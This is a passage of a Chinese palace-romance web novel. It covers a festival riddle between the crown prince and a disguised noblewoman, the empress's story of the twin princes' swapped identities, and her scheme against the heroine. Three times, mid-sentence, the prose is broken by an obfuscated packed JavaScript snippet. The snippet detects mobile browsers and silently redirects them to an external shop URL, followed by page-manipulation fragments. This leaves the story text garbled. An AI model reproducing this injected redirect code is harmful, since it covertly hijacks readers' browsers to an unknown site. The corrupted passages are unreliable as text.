杨妈妈解围道,“这个灯谜太过刁钻了,大正月里的,不过是玩罢了,殿下若是猜不出,换一个来猜也是使得的。” 魏晗烨原本还在冥思苦想,听见席容弥德的话,忽然笑了起来,“哈哈哈,不过是吃上几杯酒的事,你倒是提醒了孤,不过是吃上两杯酒的事。” 席容弥德有些不解,“殿下莫非是认输了,要酒吃?” 魏晗烨并不看他,只向一旁的侍女笑道,“烦请这位姑娘斟两杯酒来。” 不一会儿,侍女果然捧了两杯酒来,魏晗烨执了一杯在手,另取了一杯,递给席容烟。 席容烟接过酒杯,疑惑道,“殿下这是何意?” “方才杨妈妈说过,孤若是猜出了谜底,便可随意命人,孤别无所求,只想与君共饮。” “殿下尚未说出谜底,怎知自己猜中了呢?” 魏晗烨道,“我若是说出了谜底,只怕公子便不肯同孤共饮了。这样吧,孤若是猜错了,在场每人都可得到十两银子的赏钱,如何。” 此言一出,在场之人都来了兴致,这个说,“太子殿下好大的手笔呀,万一真猜错了,岂非要把国库掏空?”那个说,“这位公子,你便同殿下喝上一杯又有何妨呢,更何况人家刚刚还救了你一命,于公于私,你不喝都说不过去呀。” 杨妈妈是什么人物,早看穿了席容烟的女儿身,却也是个不怕事大的主儿,笑着劝道,“公子又不是什么未出嫁的闺阁女子,何必作此扭捏之态呢。” 席容烟无法,只得端起酒杯,准备一口饮尽。 酒至唇边,却又被魏晗烨用手轻轻挡了回去。 席容烟语气不善,“做什么?” 魏晗烨嘴角轻扬,“公子莫急,这酒不是这么喝的,既说了共饮,便要一起喝才作数。” 席容烟只得同他一起举杯,饮尽方罢。 宁凯风凑到席容弥德耳边,“故弄玄虚,看他怎么收场。” 席容弥德冷哼一声,“殿下这回该说出谜底了吧。” 魏晗烨笑道,“谜底,孤方才便已经说过了,杨妈妈,你说是不是呀。” 在场之人你看看我,我看看你,俱是十分不解的模样,“殿下方才不是同这位公子一起饮酒了吗,何曾说过什么谜底?” 杨妈妈心中明白,摇扇笑道,“哈哈哈,殿下所言不虚,只是还是和大家讲明白了才好。” 魏晗烨撂下酒杯,笑道,“一带曲水泛龙舟,两岸行人笑西流,这谜底嘛,便是合卺酒。” 一个书生模样的男子收了折扇,扣在掌心,思索着道,“若说两岸行人是‘合’,西流是‘酒’,倒还使得,只是不知这‘卺’字是从哪一处化来的?” 魏晗烨道,“曲水若‘氶’,再加上‘一’,便是这‘卺’字的上半部分,龙舟之貌,暗合‘仓’字,这么上下一合,便是合卺酒的‘卺’字了。” 众人闻言,恍然大悟,都赞,“妙呀,这谜编得也妙,殿下解得更妙。” 杨妈妈道,“这谜说开了也便不难解了,只是都怨花娘这个丫头,非要把‘打一婚俗’,改成了‘打一风俗’,才让这谜变得如此刁钻。” 魏晗烨道,“说起来还要多谢席容公子,他若是不提喝酒的事儿,我还想不到这上头。对了,”他说着,转头对着席容烟笑道,“还要谢过这位公子,陪孤共饮了一回合,卺,酒。” 此言一出,在场之人俱是哄笑起来,有胆子大的议论道,“怪不得太子殿下不近美色,原来是喜好男风呀。” 还有人说,“原来殿下方才救人,竟不是侠肝义胆,而是英雄救美呢。” 魏晗烨也不恼,仍是面带微笑,侧眼瞧着席容烟,灯火摇曳之下,她的小脸被映得通红。 席容珍心中不忿,上前一把推开了他,“什么太子殿下,只管说这些浑话,殿下如此,和那起子孟浪之徒何异?” 席容弥德也是一脸愠色,却又不好当着这么多人的面,说穿席容烟的身份,只好说道,“这位公子是我的知交好友,清清白白的人家出身,绝非优伶之辈,殿下岂可如此对他?” 魏晗烨看向席容烟,本来想再逗她一逗,见她面色难看,连忙改了容色,拱手作揖道,“今夜十五,本来是想说两个笑话,大家一块解闷的,无意冒犯公子,这厢给公子赔礼了。” 席容烟咬唇不语,一旁的书生见状笑道,“殿下都已经赔罪了,公子也不要太小气才是,不就是一句玩笑话嘛,也值得往心里头去?” 席容烟只得勉强笑了笑,“无妨,太子殿下尽兴就好。”她说完,又看向了席容弥德,“我方才扭到了腕子,一时半刻骑不得马,可否搭乘兄台府上的轿撵先行回去?” 席容弥德连忙点头,“使得使得。” 席容珵因着李莲蓉的事儿,心里正不痛快,早就想走了,奈何一直脱不开身,眼下便道,“二哥,四妹肩上也受了伤,既这么着,我们也一块回去吧,省的车马来回费事。” 席容弥德想了一想,“也好,你们几个先上轿子,我进去同他们说个话就来。” 席容珵扶着红珠的手,款款上了轿子,路过席容烟的时候,轻声骂了句,“惹事的妖精。” 席容烟容色不变,只作没有听清状,自顾自往轿子里走,她掀开轿帘,才要俯身进去时,忽然回头朝魏晗烨的方向望了望。 魏晗烨表情严肃,手里握着块令牌,正和袁青说话,他像是觉察到了什么似的,也转头望向她。 席容烟神色一僵,左手挑着的帘子也滑了下来,她忙一闪身,赶在轿帘落下之前躲进了轿中。 席容珍为了避嫌,遂去后面同席容玲共乘一轿,桃夭、四儿碍着众人的面,怕人看出端倪,也不敢过来,轿内一时便有些空荡荡的。 席容烟本就不胜酒力,闹了半日,更觉困乏,此刻斜倚在纱窗上,听着外头的喧嚷声,昏昏沉沉睡了过去,也不知过了多久,桃夭上来搀她,“姑娘——姑娘— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502766|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —” 席容烟悠悠转醒,“嗯?到了?” 四儿从外头挑了帘子,小厮搬了杌凳过来,席容烟便扶着桃夭的手下了轿子,瞧见府内也是一片张灯结彩,宸园那头已经传来了咿咿呀呀的唱戏声,便知道还有一场大热闹。 席容烟活动了一下手腕,腕上并未流血,只是轻微擦破了点皮儿。 桃夭道,“郎中说是扭伤,没有伤到筋骨,不碍事的,静静养几天就好了。” 席容烟吃了一惊,“郎中何时来的,我怎么不知道?” 四儿便笑,“二少爷怕刺客的刀上有毒,刚从红翠馆出来便寻了郎中来瞧。姑娘那时候还在睡梦中呢,自然是不知道的。” “他的心思倒细,”席容烟瞧见席容珍也下了轿子,忙道,“珍儿,你身上的伤如何了?” 席容珍侧着身子,垂眸看向肩头的白布,声音微颤,“郎中已经包扎过了,说是划开了一道口子,所幸剑上无毒,伤得不重,只是,我担心以后会落下疤痕。” 席容烟拉着她的手,宽慰道,“无毒便是万幸,疤痕有什么要紧,何况咱们府里最不缺的就是灵丹妙药了,定不会叫你留下什么疤痕的,你只管放一百二十个心。怕只怕这里上完了药,比旁边的肌肤白出十倍不止呢,来日妹夫见了,要奇怪的。” “姐姐就知道打趣人家,”席容珍破涕为笑,又忙屈膝道,“今日多亏姐姐了,要不是姐姐舍身相救,我此刻哪还有命在,只怕早就死在了长街上了。” 一旁的福禄笑着插嘴道,“刚才我们小姐还哭呢,抱怨留了疤不说,还坏了一件好衣服,我和寿喜劝了半日也不见好,谁承想这会子又笑了,到底还是烟姑娘会哄人。” 席容烟低头看去,只见那件莲蓬衣外头蒙着的精致刺绣已经开了线,她心中暗暗思忖着,一抬眼,掠见席容珍耳上的金镶珠丁香儿,心中忽地闪过一个念头,这刺客只怕是冲着自己来的,误把席容珍错认成了自己,这才连累了她。 席容烟心中惶惶,只说,“人没事就好。” 桃夭见她神色几变,以为她是受了大惊吓,还没缓过来,于是上前扶住她,“老爷夫人正在宸园花厅听戏赏灯呢,请小姐们也都过去坐着,大家聚在一块热闹热闹。” 席容烟点了点头,环顾一圈,并未看到席容珵和席容玲的身影,便问,“二姐姐,还有五妹妹是都已经过去了吗?” “二小姐一回来就发了好大的脾气,推说身子不爽利,就不去了。五小姐吃多了东西,撑的难受,这会子还在轿子里让奶姆帮着揉呢。” “既如此,四儿,你去宸园回个话儿,就说我扭着了手腕子,又受了惊吓,便不过去了。” 四儿应了一声,又问,“姑娘,全都照实说吗?” 席容烟心知今日的事儿定是瞒不过去的,便道,“对,照实说。” 寿喜道,“小姐,要不我和四儿一同去一趟吧。” 席容珍摇头道,“出了这样大的事,父亲定是要问个清楚的,你和四儿都只是丫鬟罢了,如何能回明白,还是我亲自去一趟吧。” 席容烟道,“你肩上有伤,不宜走动,四儿虽是丫鬟,口角却是极伶俐的,不会误了事。何况,二哥当时也在场,四儿和寿喜若有说的不到之处,他自会同父亲母亲讲明。” “没事的,姐姐先回去吧,我去一趟,不过多走几步路,也费不了什么事儿。我受了伤,若再不去,父亲只怕也要牵挂。” “也好吧。” 59. 皇后名霍姹 中宫。 夜色岑岑,灯火寥寥。 云英提着宫灯,引着魏晗烨入内,叮嘱道,“皇上今儿去了仪鸾宫,娘娘心里正不自在,饭也吃不下去,还请殿下劝着娘娘,好歹让她吃些东西,要不这大冷的天儿,如何受得住呢。” 魏晗烨心中有事,他听见云英的话,不自觉捏了捏手里的令牌,在殿门外停下了脚步,云英见他不答言,只得轻轻唤了一声,“殿下。” 魏晗烨将令牌收进袖中,微一颔首,抬手示意云英不必跟着,自己掀了软帘,迈入殿中。 魏皇后披着氅衣,徐徐立在大殿中央的纹银吉祥暖炉跟前,暖炉里的银骨炭烧得正旺。 她探了探手,像是想从虚无的空气中抓住些什么。 魏晗烨放轻了脚步,缓慢注视着眼前的这个女人。 她穿着一身的锦绣华服,足上金线熠熠生辉,耳侧明珠光芒闪耀,烛火从青玉百鸟朝凤连枝灯的九个灯盏漫射而下,投出一个端庄贤淑的侧影,帘子轻晃,残冬的风倏然侵入殿内,烛火摇曳,影子被拉得修长,从冰冰凉的石阶一路往下,直至淹没在殿外的漫天风雪之中。 席容皇贵妃谈话间,总会明里暗里嘲笑魏皇后老了,其实魏皇后一点都不老,她的皮肤依旧细腻光滑,眼角甚至没有一丝皱纹,只是因为操心太过,鬓角处生出了几根白发。 她在大魏元年嫁给了魏帝,彼时她才十七岁,正是一个女子一生中最为绚烂夺目的时光,她原本可以选择更为安稳的生活,但是因为爱意,因为霍氏一族的荣辱,她将自己的身与心都锁在朱红色的宫墙之内,可是算算年纪,她如今也不过三十六岁,只比席容皇贵妃大出五岁而已。 她只是不似席容皇贵妃那般,总爱穿俏丽浮艳的衣裳,她不是不喜欢,而是不能,她是一国之后,她是霍氏一族唯一的指望,她不能有自己的喜怒哀乐,她不能。 魏晗烨走得很轻很慢,却还是惊动了魏皇后。 她欢喜的转过头来,眼眸明亮的犹如耳侧佩戴的金镶东珠。 魏晗烨从未见过她如此模样,一时不免有些失神,他望着魏皇后,从那份充满爱意的目光中看到了另外一个人,他在心底叹了口气,行礼道,“母后。” 魏皇后闻言,脸上的笑意一点点淡去,就像是北风卷起了地上的一层浮霜,裸露出底下的萧条,她仍是看着他,却又仿佛不是在看他,而是透过他,在看另外一个人。 魏皇后的嘴角动了动,“你长得,很像你的父皇,很像,他年轻的时候。” 魏晗烨不知如何作答,索性闭口,缄默不言。 魏皇后笑了笑,继续说,“其实你们两兄弟都长得像他,是啊,你们都是他的儿子。” 魏晗烨轻声补充道,“我们也都是母后的儿子。” 魏皇后摇头,嘴角溢出显而易见的嘲讽,“不,你们姓魏,不姓霍。” 她说罢,突然愣了愣,又笑起来,“我差点忘了,我也已经不姓霍了,她们都叫我魏皇后,可是有谁还记得,我是霍家的女儿。”她喃喃着,像是在对他说,又像是在对自己说,“你记住,我不姓魏,我姓霍,我叫霍姹。” 魏晗烨默默记住了这个名字,霍姹,一个早就已经被世人所遗忘的名字,魏皇后用这个名字只用了十七年。 大魏元年,魏帝登基,她被太后认作义女,改了姓氏,从此嫁入帝王家,随后她在宫中生下了魏晗烨、魏晗煜两兄弟,自那以后,世人便只知道她是两位皇子的生母,她是魏帝的嫡妻,她是大魏一人之下,万人之上的魏皇后,就连她自己,也忘记了来时路,年少时,忘记了那个名叫霍姹的少女,在十七岁之前,是何等的明媚鲜妍。 这世上有太多的人,活在别人的称呼中,或是沾沾自喜,或是深以为憾,那些熟悉而又陌生的名字消散在记忆的最深处,掩埋在过去的尘埃中,后宫中人,更是如此。 天地倏恍,不过隙中尘烟,人活一世,总有许多不可得,无奈何之物,便连自己的名字,有时候也难以保全,仔细想来,总是悲凉。 魏晗烨心里忽然有些难受,他说,“母后。” 魏皇后应了一声,“坐吧。” 魏晗烨坐了,他出了一会子神,看到侧旁案上摆着的桃花糕,随手拣起一块,送进口中,笑了笑,道,“这桃花糕儿臣最喜欢吃了,还是母后疼我,大冬日里也一直备着。” 魏皇后愣了一下,恍惚道,“你不是对桃花过敏吗,怎么会——” 魏皇后宫中常年备着桃花糕,那是因为魏晗烨,而不是魏晗煜,魏晗煜吃不得桃花糕,一吃就会起桃花癣,这是整个中宫人尽皆知的事情。 魏皇后一直以为,一年前中毒而死的人是魏晗烨,可她还是改不了准备桃花糕的习惯,她总觉得,桃花糕在,她的烨儿就还活着。 魏晗烨蹙了蹙眉,他原本是想找个由头,哄她高兴,却忘记了这件事,他不动声色,咽下嘴里的桃花糕,笑着解释道,“去岁春日时分,儿臣误饮了几杯桃花酒,事后懊恼不已,以为会起春藓什么的,谁料等了许多日,竟是一点事儿也没有,后来传了周坤来瞧,才知道自己的春藓之症已经好了,不必再忌口了。” 魏皇后将信将疑,“那是好事。” 魏晗烨望着桃花糕,敛眉不语。 他心中一直存着疑惑,自记事起,魏皇后便对自己十分偏爱,宫中备的吃食也全都依着自己的口味,若说魏晗煜不是魏皇后亲生,倒还罢了,可他二人却是一母同胞的双生子,长得也是一模一样,他实在想不明白,魏皇后为何如此偏心。 “母后。” “嗯?” “儿臣有一事不明。” “你我母子,有什么话就直说吧。” 魏晗烨低头想了半晌,深吸一大口气,方道,“母后,煜……儿臣也是母后的亲生孩子,儿臣不明白,母后为何如此偏心,一直对儿臣处处打压,甚至不惜将儿臣在暗室里关了八年……十三年之久,儿臣实在想不明白自己究竟做错了什么。” 魏皇后听了一怔,看向他的眼神中渐渐流露出悲悯与不忍,她从怀中掏出帕子,掩面道,“煜儿,是母后不好,母后对不住你。” 魏晗烨原以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502767|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她会说出个不喜欢魏晗煜的理由,却不想她只是道歉,他跪下去,诚恳地说,“母后,儿臣不怪母后,儿臣只想知道为什么。” 魏皇后没有答言,她映在地上的影子无声颤抖着,过了好一阵才止住。她缓缓放下掩着面庞的帕子,眼角还是红红的,仿佛浸染在了过去的迷雾里,无论如何也挣扎不开。 魏皇后攥紧帕子,抬眼望向门帘被风吹起的缝隙,缓缓道,“这要从十七年前说起——” 十七年前,也就是大魏二年,天下方定,四海升平,魏帝带着魏皇后去西山为国祈福,彼时,魏晗烨魏晗煜两兄弟刚满两岁,魏皇后不放心,就令乳母抱了他们同行。 西山有一寺,寺名六净寺,寺里住着一位高僧,法名三乘,世人都说,三乘大师的修行极高,只消一眼,便见前尘往事,来日因缘,因此,魏帝和魏皇后特地入寺求见大师。 六净寺坐落于西山山顶,上千个台阶全是用青石板一层层铺成的,拾阶而上,便要费上一炷香的功夫。 魏皇后一手抱着魏晗烨,一手抱着魏晗煜,每一步都走得无比虔诚。 魏帝说,“你叫乳母跟着不就是了,何苦自己受累。” 魏皇后说,“佛门圣地,何辞劳累。” 二人一路行到山门,三乘大师袈裟覆身,双手合十,念了一句,“阿弥陀佛。” 二人还礼,同他进入寺中。 魏帝说明来意,三乘大师思忖再三,许他三个问题。 魏帝一问国祚,大师云,“不可说。” 魏帝二问年寿,大师云,“不生不灭,不垢不净,不增不减。”[1] 魏帝还要问时,却被魏皇后拦住了。 魏皇后抱着魏晗烨和魏晗煜跪在大师面前,恳请大师看看她的两个孩子。 三乘大师不闪不避,只是念了句佛,“出家人不受俗礼,施主快快请起。” 魏皇后不肯起身,“我这毕生心血,全都寄托在了两个孩子身上,还请大师帮忙看看,他们二人将来如何。” 三乘大师叹道,“施主慈母之心,佛祖自当成全,只是话宣于口,怕是不大好听。” 魏皇后忧喜交集,“大师尽可直言。” 三乘大师转着手上念珠,缓声道,“此二子,一子继承大统,一子英年早逝。” 魏帝忿然斥道,“朕乃天子,朕之子息自当福寿绵长,你一秃子,怎敢乱打诳语?” 魏皇后连忙拉住魏帝,哽咽道,“大师可有破解之法。” 三乘大师神情悲悯,“善恶报应,祸福相承,身自当之,无谁代者。”[2] 魏皇后几欲落泪,“若是报应不爽,我替他受了便是,只求换他几年安稳,还不行吗。” “施主若是有心,便多做些善事,一切都看他的造化了。只是有一句话,还望施主切记。” “大师请讲。” “莫要让他生出夺权之心,所谓命里有时终须有,命里无时莫强求,他若是安时处顺,做个闲散王爷,或可平安终老,了此一生,他若是不甘人下,必会招致杀身之祸。”[3] 60. 烨煜割昏晓 魏皇后说到这里,幽幽叹了口气,“当年,三乘大师并未说明,你们兄弟二人究竟谁会继承大统,谁会英年早逝,因此,我虽然心中苦闷,对你们也是一般看待。日子一天天过去,你们二人兄友弟恭,感情甚笃,一切都是岁月静好的模样,我也一点点忘却了那个可怕的箴言。直到十三年前,席容琰那个贱人生下了魏風漪。” 魏皇后冷声一笑,“風漪,皇上居然赐了这么个名字给那个贱人的女儿,还晋了席容琰贵妃的位份,于是宫中谣言四起,都说皇上此举,乃是废后先兆。” 想起那些不堪的过往,魏皇后把手里的帕子攥得更紧了些,魏晗烨隐约听见了帛裂之音。 她微一摇头,“煜儿,你不明白,那时候,你的外祖父中毒而亡,我失去了霍家的依仗,只能一个人在宫里头苦苦支撑,孤立无援,日夜忧思,终于病倒在榻。当本宫缠绵病榻的时候,那个贱人却为她的女儿举办了声势浩大的百日宴,遍邀亲贵,很是热闹,你耐不住寂寞,不顾本宫的阻拦,拉了烨儿同去。” “百日宴上,那个贱人命人端来了桃花糕,那碟桃花糕精致小巧,又被雕刻成了凤凰的形状,一端上来,便有人啧啧称奇,还说此等祥瑞,唯有她才堪配。众人一听,俱不敢食,唯有你心生不忿,拿起一块便吃起来。谁知,那糕中加了千魂散的毒粉,你才吃了一口,立即倒地不醒,煜儿,你当时只差一点就死了。” 魏皇后嘴唇颤动,“幸而你对桃花过敏,每次食用都会起藓,你又所食不多,毒气便从桃花藓中发散出来,救了你一命,后来——” 魏晗烨深吸一口气,接着魏皇后的话继续说道,“后来,母后怕儿臣因此丧命,便对外宣称儿臣已经病死,实则是将儿臣关于暗室之内,这一关,就是十三年。” 魏皇后掩面而泣,哽咽道,“可我没有想到,最后死的竟是你的兄长,怎会如此——” 魏晗烨想起了魏晗煜幽怨的眼神,敛眉不语,他从前一直对此不解,如今才算是明白了。 魏皇后最初因为三乘大师的话,心生疑虑,再加上百日宴上发生的事情,她是真的害怕魏晗煜一朝丧命,这才将魏晗煜关了起来,为的是能护他平安无虞,但是渐渐的,魏晗煜失去自由,又被困于斗室之中,对魏皇后难免心生怨怼。 而魏皇后觉得自己对魏晗煜有所亏欠,不敢再进暗室看他,于是将仅存的母爱全都给了已经被册为太子的魏晗烨。 这样一来,魏皇后和魏晗煜母子二人愈加疏离,魏晗煜终日只能同冰冷的石壁作伴,他的性子逐渐变得古怪乖僻,这也更让魏皇后不喜,生怕他有了争抢皇位的心思,害人害己。 魏晗煜五岁即入暗室,世人都以为他死了。 实际上,他也确实死在了五岁那年,活着的不过是一具失去自由的躯壳而已。 魏晗煜的贴身侍女云风从小陪他长大,见他如此消沉,不禁心生同情,对他也越发体贴,他们孤男寡女,共处一室,时间一长,难免会生出些不同寻常的情愫,云风比他大上几岁,自小照顾他的饮食起居,在冰冷的暗室里更是给了他不可多得的温暖。 十岁那年,魏晗煜请求云风放他出去逛逛,云风见他可怜,一时心软,答应了他,于是,在云风的帮助下,魏晗煜趁魏皇后午休的契机,悄悄溜出了暗室,在东宫见到了他的同胞兄弟魏晗烨。 魏晗烨一直以为魏晗煜已经死了,他还记得那个时候,他见到魏晗煜还活着,不禁又惊又喜。惊的是魏晗煜已经完全没有了他记忆中的少年神采,喜的是无论怎样,他的煜弟毕竟还活着,活着,便好。 魏晗煜始终神色郁郁,他伏在魏晗烨的膝上,低声诉说着这些年的苦楚,末了,他请求魏晗烨同他互换身份,还说,让他出来待上一月便好。 魏晗烨尚在犹豫,魏皇后已经发觉不对,寻了过来,魏晗烨把心一横,同魏晗煜互换了衣裳,用红胭脂在魏晗煜的无名指上点了一颗红痣,又用白胭脂遮盖了自己手上的红痣。 等魏皇后赶到时,她将魏晗烨错认成了魏晗煜,一脸怒容地将他带回暗室,当日,所有知道此事的人都被暗中处死,而云风也因此被药哑了嗓子,再不能开口说话。 魏晗烨一开始还等着魏晗煜信守诺言,换他出去,谁承想魏晗煜早将这件事抛在了脑后,一心一意地当起了“太子殿下”。 暗室中没有日光,没有月光,有的只是扯破黑暗的烛火。 魏晗烨不知道自己在暗室里待了多久,可他逐渐明白,魏晗煜这是不打算再回来了,他最初有些懊悔,慢慢的却又生出了既来之则安之的想法。 暗室中的日子平淡无波,不似朝堂上的那般云谲波诡,他每日看看书,下下棋,倒是过得悠哉闲适,比在东宫当太子还要快活许多。 他原以为,自己这一辈子就会这么安安稳稳地过下去,直到一年前,魏晗煜在回京途中,被刺客用毒针刺中脚裸,最终还是没逃过英年早逝的命运。 魏晗烨想到这里,不觉叹了口气,如此看来,三乘大师所言不虚,只可惜,造化弄人,任凭魏皇后千防万防,魏晗煜最后还是没能躲过命中劫难。 他的嘴角动了动,终归还是没有告诉魏皇后实情,他想,倘若魏皇后知道了事情的真相,知道了魏晗煜的死也有她的原因,只怕心中会更加悔恨。 于是,魏晗烨上前两步,立在魏皇后身侧,勉力宽慰道,“斯人已逝,母后也莫要伤感,不然兄长在天之灵看见了,定是要难过的。” 魏皇后抱着他哭道,“煜儿,母后如今就只剩下你一个孩子了,你一定要争气,为你的外祖父,为你的兄长,为母后报仇!” 魏晗烨心中酸楚,“母后放心,儿臣决计不会放过那些作恶之人。” 魏皇后又抽泣了好一阵,才渐渐平静下来。 魏晗烨为她斟了一杯热茶,忽然想起一事,“母后,那位三乘大师现在还在西山吗?” 魏皇后润了口茶,用帕子拭了拭嘴角,摇头道,“早就不知所踪了,十三年前,我就上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502768|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西山找过他一次,六净寺里的人都说他云游去了,谁也不知道他去了哪里,什么时候回来。” 魏晗烨闻言,默然不语,他心里也搁了一桩事,很想找这位大师算上一算,只是忽然间又觉得算与不算,也都改变不了什么,于是也便不再纠结此事,另寻了些俏皮话说与魏皇后解闷,逗她笑了几回,好歹吃了些东西。 临走时,魏晗烨从袖中取出令牌,搁在案上,笑道,“儿臣来的时候,拣了一样东西,瞧这上头的纹样,估计是母后宫里的人落在外头的,母后替他好生收了罢。” 魏皇后看见那枚令牌,目光倏地一顿。她抬眼望着魏晗烨,欲语还休,到底没有说什么,只道,“有劳你了,去吧,云英,送一送殿下。” 魏晗烨也不多说,起身行礼,“儿臣告退。” 云英提着宫灯,将他送出了中宫的大门,还要再送时,魏晗烨拦住,“留步罢。” 云英笑了笑,“那殿下慢走。” 云英立在门口,目送着魏晗烨离开,直到那抹银白色同铺天盖地的雪色融为一体,这才吩咐侍卫关上大门,自己转身回了中宫大殿。 殿内烛光摇曳,魏皇后斜倚在贵妃椅上,一手紧紧攥着一样东西,一手撑头,眉心紧锁,云英快步走上前去,轻声道,“娘娘怕是困了,奴婢扶娘娘就寝吧。” 魏皇后摇了摇头,将手里攥着的令牌亮给她看,云英吃了一惊,“怪不得一直没有收到他的消息,中宫中人俱是牌不离身,这么说,他是失手了?娘娘是从何处拿到这块令牌的?” 魏皇后苦笑,“这是煜儿刚才拿过来的。” 云英愕然,“太子殿下?” 魏皇后摩挲着令牌上的凹凸纹理,“估计是煜儿正巧撞见了他在行刺,煜儿心里放不下席容烟,出手相救,后来又从他身上摸到了中宫的令牌,便来本宫这里兴师问罪了。” 云英笑着解劝,“无论怎样,这令牌落在了殿下手里,就还不算太糟糕。殿下也是心慈,才会对她施以援手,大魏有此仁君,乃是一大幸事。” 魏皇后冷笑起来,“哼,但愿如此吧。” “娘娘,殿下既然铁了心想要维护她,娘娘也就不要再和殿下对着干了,否则,实在是容易伤了娘娘和殿下的母子之情呀。再说了,那个席容烟不过是一个丫头片子,能掀起什么风浪,依奴婢的意思,姑且先放着她,等她嫁入东宫,到了咱们的眼皮子底下,娘娘想怎么调理她,还不就是一句话的事儿。” “你说得对,她的性命是小,伤了我们的母子情份是大。” 魏皇后将令牌随手掷在案上,“罢了,正所谓,树倒猢狲撒,这件事的根源还在席容炎身上,若是席容炎死了,她自然不能幸免,到时候也就不必本宫再为她费心劳神了。” “娘娘英明。” 魏皇后疲惫地垂下眼皮,换了个舒服的姿势躺着,“云英,你给本宫揉一揉太阳穴,本宫的头酸胀得很。” 云英跪在榻前,“是,娘娘。” 61. 大仇终得报 草长莺飞,转瞬已是二月。 雪又淅淅沥沥地下了好几场,还没等落到地上,就化作了一滩滩的水。 烟雨阁的婆子们一个个都忙得脚不沾地,稍一耽搁,地上雪水化开,立时变得泥泞不堪。 席容烟用过早膳,歪在榻上翻了一会儿书,这会子听见外头的响动,便披上一件月白底绿萼梅的刺绣斗篷,缓步走到屋外。 正在洒扫台阶的婆子见她出来,笑呵呵的说道,“如今虽然开了春儿,可这雪水一化,还是寒津津的,姑娘快回屋里去吧,别白冻坏了自个儿。” 席容烟隔着朱门,遥遥望向白茫茫的天尽头,“不打紧的。” 桃夭和四儿正在屋里照着嫁妆单子,清点物品,收拾箱笼。 桃夭一手拿着册子,一手翻着箱子,“咦,这对银錾花缠枝纹执壶怎么不见了?” 四儿跟着翻找了一阵儿,忽然一拍脑门,“姐姐怎么忘了,你前些日子说要把这些东西分门别类,就把执壶杯盘什么的都搁到堂屋去了。” 桃夭笑道,“是了,瞧我这个记性,你先在这儿看着,我这就去把它取来。” 桃夭出了里间,瞧见席容烟正在门口迎风立着,模样甚是单薄,忙上前扶她道,“诶呀,姑娘怎么站在了风口里,若让冷风扑了热身子,姑娘如何能受得住啊。” 席容烟轻轻摇了摇头,仍是望着远方出神,桃夭心里明白,她这是在等寒星回来。 敛秋从廊下端着托盘走了过来,“姑娘,天冷,喝杯热茶暖暖身子吧。” 自从亲眼目睹邓千几个惨死,敛秋规矩了不少,再也不敢和席容烟顶撞。 席容烟随手取了一杯,只喝了一口便搁下了,“你从哪里过来?” 敛秋老实道,“老爷方才传我去席地斋问话来着。” “父亲问了你什么?” “没什么,不过是问问姑娘的饮食起居罢了。” 席容烟听了,微微一笑,“敛秋,你是个聪明姑娘,与其留在府里当个姨娘,不如跟我进宫闯上一闯,为自己挣个好前程,你说呢?” 敛秋忙跪下道,“奴婢愚笨,听不懂姑娘在说什么。” “无妨,这一大清早的,脑子不清醒也很正常,你便端着这茶,在门外跪上一个时辰,到时候我再问你的话,若是回明了便罢,若是还犯浑,便继续跪着,跪到头脑清醒了再起来。” “姑娘,姑娘!” 席容烟不理会敛秋的哭喊,兀自扶着桃夭的手进了屋子,桃夭回身掩上了门,又去堂屋取了执壶过来,席容烟看见执壶,笑道,“这会子看见它,我倒是有点想吃酒了。” 桃夭忙将执壶背在身后,“这可使不得,马上就是大喜的日子,姑娘若是喝了酒误了事,我们就是有九条命也担待不起呀。” 席容烟才不肯听,伸手便去抢她手里的执壶,桃夭怕把东西给摔坏了,只得让给了她,伸手比划着道,“就一小盅,姑娘可不许多饮啊。” 席容烟笑着点头,“你放心,我便是吃醉了酒,横竖也不与你们相干。” 桃夭往壶里斟了一个底儿,又叮嘱了一番,继续去和四儿核对嫁妆单子。 席容烟将执壶搁在了罗汉床的小几上,又去寻了一个五曲莲瓣的银酒盅,自己临窗坐了,小口小口的抿着。 日头越升越高,为天空苍白的底色抹上了些许暖意,席容烟饮着杯中酒,念着心上人。 她从前不喜欢饮酒,却很羡慕那些千杯不醉的人。 她一直以为,那些人是喜欢醉的感觉,才会一杯接一杯的喝。 直到今日,她才明白,没有人喜欢喝醉,他们只是不想清醒罢了。 她垂着眼帘,轻声呢喃,“寒星,我快嫁人了,你到底在哪儿啊。” 一盅酒很快就见了底儿,席容烟提壶欲要再斟时,壶中却已是空空如也,一滴也无,她只得作罢,转头看着桃夭和四儿两个人忙来忙去。 这边,桃夭和四儿才归拢出三个箱笼,两人累得都冒了汗,席容烟遂命她们歇上一歇,吃一杯茶再收拾,桃夭和四儿坐在箱子上,随便喝了两口,挽了挽袖子,又继续忙乎起来。 